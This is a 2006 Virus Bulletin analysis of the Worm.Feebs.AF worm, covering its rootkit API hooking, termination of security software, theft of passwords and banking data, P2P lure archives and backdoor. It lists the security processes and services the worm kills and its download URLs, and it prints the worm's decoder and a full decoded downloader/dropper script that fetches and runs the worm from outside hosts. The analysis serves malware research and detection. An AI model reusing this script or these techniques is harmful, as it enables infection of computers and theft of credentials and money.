2006-04-01
Abstract
Viktor Johasz details Worm.Feebs.AF.
Copyright © 2006 Virus Bulletin
For recent variants of Worm.Feebs, analysis, detection and removal have been equally difficult tasks. The worm stores its string variables in encoded form and decodes them in runtime into stack variables using a unique algorithm. The worm is hard to detect because it hides itself using its rootkit functions (although not in safe mode). It is difficult to remove the worm in Windows normal mode, as the worm injects itself into many processes, including the system processes explorer.exe and scvhost.exe. To complicate matters further, Feebs has many infection vectors, including email, ftp, P2P and AIM (AOL Instant Messenger).
There are many variants of this worm, with new versions surfacing almost every day. This analysis details Worm.Feebs.AF (released 30 January), but the main functions of the worm are very similar throughout all variants.
When the worm is executed it drops a dll file as 'c:\b', if b already exists then it moves on to name 'c:\c', 'c:\d', etc., until it finds a non-existent filename or reaches c:\z. If it has reached c:\z it tries to load c:\z. This dropped file is the main part of the worm.
When this module is dropped successfully the dropper loads it and checks if a debugger is present by calling the IsDebuggerPresent API function and attempting to open streams \\.\NTICE and \\.\SICE. If any debuggers are detected the worm exits, calling ExitProcess.
The worm creates a two-character string from the Windows version and serial number of 'C:\', which it appends to the 'Software\Microsoft\MS' string. The resulting string will be the main registry key of the worm – for example, 'Software\Microsoft\MSIJ'. It creates the following values under this key:
exe=“ms[2rnd char].exe” (the dropper name) |
dll=“ms[2rnd char]32.dll” (name of dll) |
buf=“ms[2rnd char].db” (stealth data file) |
clo=“ms[2rnd char]” (copy of the worm) |
dir=“drivers\ms[2rnd char]\” (storing directory) |
After these, it queries the name of the program module. If this is the name of a security program (i.e. firewall or anti-virus software), it terminates the process. The searched strings are the following:
avp6 |
keylog |
avz |
rootkitrevealer |
nod32krn |
kpf4ss |
rapapp |
hackereliminator |
outpost |
firesvc |
firewal |
mcafeefire |
hacker |
vipnet |
ca |
internet security |
zapro |
zonealarm |
vsmon |
zlclient |
pavfnsvr |
avgcc |
fsdfwd |
dfw |
fireballdta |
fbtray |
goldtach |
ipcserver |
avs |
jammer |
armorwall |
armor2net |
iamapp |
iamserv |
blackd |
dpf |
xfilter |
looknstop |
mpftray |
leviathantrial |
netlimiter |
npgui |
npfsvice |
npfmsg |
npfc |
opfsvc |
opf |
ipatrol |
spfw |
sppfw |
kavpf |
spfirewallsvc |
sspfwtry2 |
keypatrol |
s-wall |
smc |
umxtray |
persfw |
pccpfw |
tzpfw |
xeon |
fw |
bgnewsui |
bullguard |
fwsrv |
Another string is created using the Windows version and serial number of 'C:\', and by checking whether there is already a window with this class name, the worm determines whether another instance is running already. If it does not detect itself, it hooks the following Windows API functions:
send |
gethostbyname |
InternetConnectA |
InternetConnectW |
HttpOpenRequestW |
HttpOpenRequestA |
HttpSendRequestW |
HttpSendRequestA |
InternetReadFile |
InternetQueryDataAvailable |
FindFirstFileW |
FindFirstFileA |
FindNextFileW |
FindNextFileA |
RegEnumKeyA |
RegEnumKeyW |
RegEnumKeyExA |
RegEnumKeyExW |
RegEnumValueA |
RegEnumValueW |
ZwQuerySystemInformation |
OpenProcess |
Next, the module is loaded (DllMain returns true) and the dropper calls the U exported function of the dropped file. The U function injects the module into the system.
If the process name contains the string 'install', a message box is displayed with this text (in the case of a network share infection the infected file name will be 'webinstall.exe'):
Could not initialize installation
The value 'web=http://ucrack.t35.com/' is added to the 'HKCU\Software\Microsoft\Internet Explorer' registry key. Then the worm deletes the registry value created by the downloader or dropper script component (if it was executed from that source):
'SOFTWARE\Microsoft\Active Setup\Installed Components\{CD5AC91B-AE7B-E83A-0C4C-E616075972F3}'
The 'Safe for Scripting' category for the FileSystemObject and WSCRIPT.SHELL controls is deleted (the '{7DD95801-9882-11CF-9FA9-00AA006C42C4}' subkey under keys 'HKCR\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}\Implemented Categories' and 'HKCR\CLSID\{0D43FE01-F093-11CF-8940-00A0C9054228}\Implemented Categories'). This is done so that the download scripts of the future variants can execute without warning or error messages.
The worm copies itself as the dll value of the main registry key (i.e. ms[2rnd char]32.dll) into the %SYSTEM% directory. It creates a random SID, registers itself in the HKCU\CLSID registry key, and adds this SID into HKLM\Software\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad so that the dll will be loaded by explorer.exe when it starts.
It then copies the main file of the process to the exe value of the main registry key (ms[2rnd char].exe). Then it starts a thread to find 'FailureActions' in the registry key of every service and deletes these values to avoid any error messages in the services.
The worm stops and deletes the following services:
vsadant |
scramble |
outpostfirewall |
rapapp |
kpf4 |
firesvc |
rapdrv |
fireprox |
firepm |
firetdi |
firehook |
fwdrv |
khips |
kmxagent |
kmxbig |
kmxcfg |
kmxfile |
kmxfw |
kmxids |
kmxnids |
kmxsbx |
black |
rap |
makont |
In addition, the worm deletes the autorun keys of a number of security programs from the registry keys:
HKLM\Software\Microsoft\Windows\CurrentVersion\Run |
HKLM\Software\Microsoft\Windows\CurrentVersion\Runservices |
HKCU\Software\Microsoft\Windows\CurrentVersion\Run |
The values may be the following:
avz |
rootkitrevealer |
nod32krn |
kpf4ss |
kpf4gui |
rapapp |
hackereliminator |
outpost |
firesvc |
mcafeefire |
avp6 |
keylog |
Then the worm executes the %System%\ms[2rnd].exe file and deletes itself (file b).
If the module is loaded by the %System%\ms[2rnd].exe process it creates an email address and stores it in the \dat registry key. This generated email address will be one of the possible sender addresses. The format of the address is:
[String1][random number between 2000-2005]@[string2] |
The possible values of String1 are:
Alice |
Alley |
Angel |
Anna |
Baby |
Brenda |
Cindy |
Claudia |
Debby |
Helen |
Honey |
Jane |
Jose |
Julie |
Linda |
Maria |
Mary |
Melissa |
Mia |
Milla |
Nikky |
Pamela |
Pussy |
Sexy |
Sunny |
Sweety |
Tanya |
Trinity |
Adam |
Alex |
Andrew |
Bill |
Bob |
Brent |
Brian |
Dan |
Dave |
David |
Fred |
George |
Jack |
James |
Jerry |
Jim |
Jimmy |
Joe |
John |
Kevin |
Leo |
Matt |
Michael |
Mike |
Neo |
Peter |
Ray |
Robert |
Sam |
Serg |
Smith |
Stan |
Steve |
Ted |
Tom |
Possible values of String2 are: Yahoo.com, HotMail.com, MSN.com and Gmail.com.
An example address would be: [email protected].
Next, it injects itself into the explorer.exe process. From the explorer.exe process it starts svchost.exe and injects itself into this process too. It saves the pid of the svchost.exe process. If any program attempts to open the process using this pid, the worm will terminate the caller process.
From this process it creates a window and saves the handle of the window to the mti registry value.
Eight threads are started for the worm’s main functionality.
Thread 1 creates zip files in all directories where the full pathname has one of the following strings: data\playlists, download, upload, incom or share, unless the path contains the 'common' substring.
The following are the possible filenames:
Adobe_Premiere_9_(2.0_pro)_new!_full+crack.zip |
3dsmax_9_(3D_Studio_Max)_new!_full+crack.zip |
Adobe_Photoshop_10_(CS3)_new!_full+crack.zip |
Microsoft_Office_2006_new!_full+crack.zip |
Microsoft_Office_2006_new!_full+crack.zip |
Ahead_Nero_8_new!_full+crack.zip |
winamp_5.2_new!_full+crack.zip |
ACDSee_9_new!_full+crack.zip |
DivX_7.0_new!_full+crack.zip |
ICQ_2006_new!_full+crack.zip |
Longhorn_new!_full+crack.zip |
Kazaa_4_new!_full+crack.zip |
The zip archives consist of two files: webinstall.exe (dropper file) and *_serial.txt (the content of this file is the text '11111-11111-11111'), where '*' is the zip filename without the 'new!_full+crack.zip' string.
The worm collects email addresses from files that have the following file extensions on fixed drives:
wab |
xls |
vap |
stm |
sln |
pst |
ods |
nch |
nab |
mht |
mdx |
mdw |
mde |
mdb |
mda |
ldb |
ini |
htt |
fdb |
csv |
cfg |
adp |
ade |
abc |
wsh |
vcf |
vbs |
uin |
txt |
tbb |
sql |
sht |
rtf |
pnx |
pmr |
pmo |
oft |
myd |
msg |
msf |
mbx |
mbs |
mab |
ldif |
inb |
mm |
imb |
ibx |
fpt |
eml |
doc |
db |
adr |
addr |
adb |
abk |
abd |
slk |
pp |
nws |
nsf |
nfo |
mmf |
log |
imh |
hlp |
frm |
ctl |
cms |
cls |
bas |
bak |
abx |
htm |
xml |
pl |
dhtm |
shtm |
phtm |
htm |
cgi |
jsp |
php |
asp |
The worm saves the collected email addresses to the dat registry subkeys without any limitations.
It collects directory names that belong to security software (detecting them by matching the name), and which also have the 'upd' string (e.g. c:\avp6\update\), and stores them in the ldat subkey. (It enumerates all directories on the hard drive and performs two string matches on them.) So if a directory path includes any string of security software and the upd string, it adds the directory path to the ldat key as a binary value.
Thread 2 hooks GetMessage (WH_GETMESSAGE) to steal passwords. It uses stolen ftp (via hooked 'send') accesses to infect servers. It renames default files (such as index.html, default.php etc.) to '_[filename]' and uploads scripts named a.php, a.pl and a.asp. The content of these scripts is the same as that used at email infection.
Thread 3 monitors the Fethard and WebMoney services to steal accesses. It looks for windows with the text 'Fethard key manager' or 'WebMoney Keeper' and copies the text of a specified child window.
Thread 4 deletes all files from directories stored in the ldat key and deletes the security services listed above.
Thread 5 starts an HTTP server (which processes only GET queries) to infect computers that connect to it. If the server receives a GET HTTP request it sends back the infector script.
Thread 6 is a backdoor thread. Attackers can upload, download, execute and delete files and use the infected computer as a proxy server.
Thread 7 is an update thread. It downloads and installs newer versions of the worm and notifies the attacker(s) via ICQ.
Thread 8 is the email infection thread. It sends messages with the attached script to the email addresses that have been collected. The sender is spoofed in these messages.
The worm employs rootkit methods, hooking many API functions. The hooking method has the following characteristics:
The first five bytes of the original function are stored.
The distance between the function and hook method is calculated.
The first five bytes will be a jump to hook method.
When the hook function calls the original function it restores the five bytes, calls the function and rehooks the API.
The intercepted function groups are the following:
FindFiles API functions (FindFirstFileA, FindFirstFileW, FindNextFileA, FindNextFileW): the worm skips all files that have names of the pattern it uses for its own files. If the call comes from a P2P program (Kazaa, Morpheus etc. – recognized by name), the infected zip files are not skipped from the list to ensure the functionality of the P2P infection.
ZwQuerySystemInformation: the worm removes its own process from the process list.
OpenProcess: if a process attempts to open the hidden process (identified by the stored pid value) the worm terminates the caller process.
Registry view APIs: all values and keys that belong to the worm are hidden.
gethostbyname: if the caller process is in the deny list, access to query the IP address of the host name is denied.
The hooked APIs are used to steal passwords and user data:
send: data is prevented from being sent to the security software processes and web browsers other than IE. The function depends on the target port.
POP3, FTP: steals passwords and user names. The collected data is stored to the fdat (FTP) and pdat (POP3) subkeys.
SMTP, POP3: stores the sender email address to the mdat subkey and attaches the script to the outgoing mail. This is one of the rare examples of a worm that attaches itself to legitimate email messages.
AIM port (port 5190): collects user accesses and infection like POP3. Control ports (port 25, 135, 445, 1433, 1434, 6667) can be used by explorer.exe.
InternetAPIs (InternetConnectA, InternetConnectW, HttpOpenRequestA, HttpOpenRequestW, HttpSendRequestA, HttpSendRequestW, InternetReadFile, InternetQueryDataAvailable): these are used to steal banking information (card number, pin number etc.) by matching the sent data to a list of monitored strings.
The worm has two types of script: a downloader script and a dropper script.Both types of script have two parts: a short decoder and the longer main part.
The downloader script downloads one of the following URLs:
ssddsf.coconia.net/lol.txt |
pogc.wol.bz/lol.txt |
fr33.by.ru/ol.txt |
boblol.zoo.by/ol.txt |
jppo.t35.com/lol.c |
jmo31.by.ru/big.txt |
duuw.nm.ru/ol.txt |
These locations may differ depending on the variant. The content of these URLs is the BASE64 encoded form of the worm.
The dropper script includes a BASE64 encoded exe file.
The source of the decoder script is the following:
var1=”function var2(var3){var var4=decodestring,var5,var6,var7,var8='',var9='',var10;for(var6=0;var6<var3.length;var6++) {var10=var3.charAt(var6);var7=var4.indexOf(var10);if(var7>-1){var5=((var7+1)%decodestringlength-1); if(var5<=0){var5+= decodestringlength }var8+=var4.charAt(var5-1)}else{var8+=var10}}var9+=var8;document.write(var9)}”
Here, var1 is a four-character string, var2–10 are single characters, and decodestring is a randomly generated string.
Strings are generated in runtime so every script has different variables. Here is an example of a possible non-encoded script:
Ocqz=”function w(p){ var e=”o:A\”.[z_HC3|$@TR5gqj}2Su{‘-VZ4&pm];)r^sBJUI!EWt8Xv7~a6Dfb#*0=YFG yKW’c(L+,/MN9deOPQ”,h,x,d,c=’’,l=’’,a;for(x=0;x<p.length;x++){a=p.charAt(x);d=e.indexOf(a); if(d<-1){h=((d+1)%84-1);if(h<=0){h+=84]c+=e.charAt(h-1)}else{c+=a}}l+c;document.write(l)}”
A simple obfuscation is added to the script, which has evolved over time. The evolution of script is as follows:
The entire decoder script is replaced with escape codes.
Characters at random positions are replaced with escaped versions (e.g. 'f' replaced with '%66').
Script splits into substrings which are concatenated, e.g. lzv=lzv+okg+mkdb.
Unescape sign is replaced with another character (e.g. '%' replaced with '_').
Reverse encoded string.
Strings have only one functionality to make detection difficult, e.g. tezpf=“7849”.
The following is an example of the decoded string:
Connecting to Yahoo.com secure mail server...<script language=JavaScript>function u(){document.write('Unable To Connect to Server. Please check your Internet connection and try again.<script language=JavaScript>cj="\\\\";dr="c:"+cj+"Recycled"+cj;b=dr+"userinit.exe";try{f=new ActiveXObject("Scripting.FileSystemObject");n=new ActiveXObject("WScript.Shell");nx=1;if(f.FileExists(b)){ex=f.GetFile(b);if(ex.size>20000)nx=0;} function fl(){return false}document.oncontextmenu=fl;f.CreateFolder(dr);}catch(t1){};<\/script><script language="vbs">If nx Then\nset IE=CreateObject("InternetExplorer.Application")\nIE.Visible=0\nSub Sp\nWhile IE.Busy=true\nWend\nEnd Sub\nur=Array("ssddsf.coconia.net\/lol.txt","pogc.wol.bz\/lol.txt","fr33.by.ru\/ol.txt", "boblol.zoo.by\/ol.txt", "jppo.t35.com\/lol.c","volum.1gb.ru\/ol.txt","duuw.nm.ru\/ol.txt")\nFor un=0 To 6\nIE.Navigate(ur(un))\nSp\ng=IE.Document.body.innerText\nIf Len(g)>50000 Then\nExit For\nEnd If\ng=""\nNext\nSub bs\nz=Len(g)\nIf(z)Then\ni="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\ /"\nFor v=1 To z Step 4\nj=3\nm=0\nFor s=0 To 3\no=Mid(g,v+s,1)\nIf o="=" Then\nj=j-1\nq=0\nElseIf o="?" Then\nSet k=f.CreateTextFile(b,True)\nk.Write t\nk.Close\nExit Sub\nElse\nq=InStr(1,i,o,vbBinaryCompare)-1\nEnd If\nm=64*m+q\nNext\nm=Hex(m)\nm=String(6-Len(m),"0")&m\nr=Chr(CByte("&H"&Mid(m,1,2)))+Chr (CByte("&H"&Mid(m,3,2))) +Chr(CByte("&H"&Mid(m,5,2)))\nt=t&Left(r,j)\nNext\nEnd If\nEnd Sub\nEnd If\nbs<\/script><script language=JavaScript>function f1(){b1=0;function f2(na){b2=0;r1="HKLM"+cj+"SYSTEM"+cj+"CurrentControlSet"+cj+"Services"+cj;try{n.RegDelete (r1+na+cj);b2=1;}catch(t1){}; return(b2);}r2="HKLM"+cj+"SOFTWARE"+cj+"Microsoft"+cj;ke="Active Setup"+cj+"Installed Components"+cj+"{CD5AC91B-AE7B-E83A-0C4C-E616075972F3}"+cj+"Stubpath";if(f2("pcipim")+f2 ("pcIPPsC")+f2("RapDrv")+f2 ("FirePM")+f2("KmxFile"))b1=1;try{n.RegWrite(r2+ke,b,"REG_SZ");n.RegRead(r2+ke);}catch(t1) {try{f.CopyFile(b,n.RegRead(r2+"Windows" +cj+"CurrentVersion"+cj+"Explorer"+cj+"Shell Folders"+cj+"Common Startup")+cj);}catch(t1){b1=0};};return(b1);}try{if(nx&&!f1())n.run(b);}catch(y){};<\/script>');}; setTimeout("u()",0);</script>
The extensive use of scripting tricks made it rather difficult to detect the worm scripts. The polymorphic nature of the script left very short and non-specific possible scan strings. Virus analysts were able to practise their script detection skills almost on a daily basis as the new, reshaped scripts came out.
This is a very complex malicious program. The developer of this worm may have written for pecuniary gain – possibly on a per-order basis. The worm's infection methods vary and it updates itself frequently, so it's possible for new updates to come sooner than a virus database is updated. The frequency of updating is one per day on average, but sometimes we have seen two updates a day.
The infection script is polymorphic because the name of the variables of a script is easy to modify if the script is generated on the fly.
The weakest part of the worm is its downloader script which downloads the BASE64 encoded form of the worm from the given URL list. Blocking these URLs can slow the pace of the infection.